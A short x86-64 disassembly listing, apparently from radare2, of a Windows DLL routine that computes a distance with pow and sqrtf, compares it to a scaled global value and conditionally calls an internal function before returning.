movaps xmm7, xmm0
movss xmm0, dword [rbp + 0x20]
cvtps2pd xmm0, xmm0
cvtps2pd xmm2, xmm9
subsd xmm0, xmm2
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
addsd xmm7, xmm0
xorps xmm0, xmm0
cvtsd2ss xmm0, xmm7
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrtf
mov eax, dword [0x1800d0448]
lea ecx, [rax + rax*4]
add ecx, ecx
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
comiss xmm1, xmm0
jbe 0x180052b22
lea rcx, [rbp - 0x50]
movsd qword [rbp - 0x50], xmm8
mov dword [rbp - 0x48], ebx
call fcn.18004c870
movaps xmm6, xmmword [rsp + 0x60]
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm7, xmmword [rsp + 0x50]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret